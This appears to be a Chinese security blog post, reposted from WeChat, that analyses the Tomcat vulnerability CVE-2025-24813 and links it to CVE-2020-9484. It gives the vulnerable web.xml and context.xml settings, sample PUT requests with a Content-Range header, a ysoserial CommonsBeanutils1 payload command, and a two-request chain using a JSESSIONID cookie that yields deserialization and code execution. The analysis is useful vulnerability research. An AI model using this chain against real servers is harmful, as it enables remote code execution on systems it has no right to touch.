一、CVE-2025-24813
先去官网看漏洞描述
https://tomcat.apache.org/security-11.html
漏洞利用条件如下。
1,开启PUT
2,开启session FileStore
3,有反序列化链
看到第一条就知道这是个理论漏洞,tomcat的PUT问题由来已久,从最早的CVE-2017-12615,到最近的CVE-2024-50379/CVE-2024-56337,都需要开启PUT。也就是在web.xml中设置DefaultServlet的readonly=false。
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
既然为了维持这个PUT功能,都反复限制上传这么久了,这次又出什么问题了呢?看看官方的修复方案。
https://github.com/apache/tomcat/commit/0a668e0c27f2b7ca0cc7c6eea32253b9b5ecb29c
从第二部分真正的修复代码来看,似乎是将一个只做了字符串替换的文件名,修复成一个固定规律名称的文件名了。有点像传统上传文件的修复方案,从上传文件名由用户控制,修复成时间戳+固定jpg后缀。
入口在第一部分,那么随便找个tomcat,开启PUT,断点DefaultServlet [entry] - doPut(HttpServletRequest, HttpServletResponse)
PUT /1.txt HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 5891
123456
然而我们却发现满足range == IGNORE条件
导致没走executePartialPut(),那么回头看range怎么来的。
Range range = parseContentRange(req, resp);
跟进到parseContentRange()。
显然我们需要一个合规的Content-Range头,这是一种断点续传请求,如下是上传0-5字节,文件大小一共100字节。
PUT /1.txt HTTP/1.1
Host: 127.0.0.1:8080
Content-Range: bytes 0-5/100
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
123456
然后就可以断到漏洞发生的地方了。
断点发现,PUT+ Content-Range,就可以产生一个缓存文件到这里。
workCatalinalocalhostROOT.1.txt
其中.1.txt怎么来的呢?就是我们PUT的/1.txt,然后【/】被替换成【.】了。
这个目录下上传文件会产生反序列化问题吗?我回想起一次CTF中关于el表达式对这个目录下的SESSIONS.ser文件的利用了。
https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247488297&idx=1&sn=cc3db8ffe79c0340215d24fbc6800f7d
可以看到这个文件就是以序列化流的形式存储的。但如果是利用这个文件,就需要先绕过【.1.txt】最前面的那个【.】,且需要重启或者reload tomcat。这些似乎都很难做到。不过已经很接近正确答案了。
二、CVE-2020-9484
在揭晓答案之前,可以稍微了解另外一个漏洞
https://github.com/masahiro331/CVE-2020-9484
它就是假定用户上传了一个/tmp/xxx.session文件,就可以通过Cookie来触发xxx.session的反序列化。
Cookie: JSESSIONID=../../../../../tmp/xxx
其中核心就是要开启session FileStore,这也正是CVE-2025-24813的第二个配置要求。
https://github.com/masahiro331/CVE-2020-9484/blob/master/context.xml
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore" />
</Manager>
开启之后会有什么效果呢?我们不带cookie访问tomcat首页,然后再停止tomcat。
可以看到,停止tomcat之后,【.1.txt】同目录会生成序列化保存的session文件。
OS:什么php。。。
相反的逻辑,如果Cookie: JSESSIONID=.test。
tomcat就会如同CVE-2020-9484一样,动态加载【.test.session】并反序列化。
webappsROOTWEB-INFlib中增加commons-beanutils依赖,并且手动复制一份ysoserial生成的payload试一试。
java -jar ysoserial.jar CommonsBeanutils1 calc > .test.session
反序列化触发点也非常简单,就是FileStore.load()。
三、总结
环境配置如下
web.xml
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
context.xml
<ManagerclassName="org.apache.catalina.session.PersistentManager">
<StoreclassName="org.apache.catalina.session.FileStore" />
</Manager>
libcommons-beanutils-1.9.4.jar
payload分为两部分,第一部分带Content-Range头PUT test.session,第二部分Cookie: JSESSIONID=.test。
结合起来可以简化成一个请求包,发送两次,最终效果如下
原文始发于微信公众号(珂技知识分享):CVE-2025-24813——tomcat文件上传到反序列化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论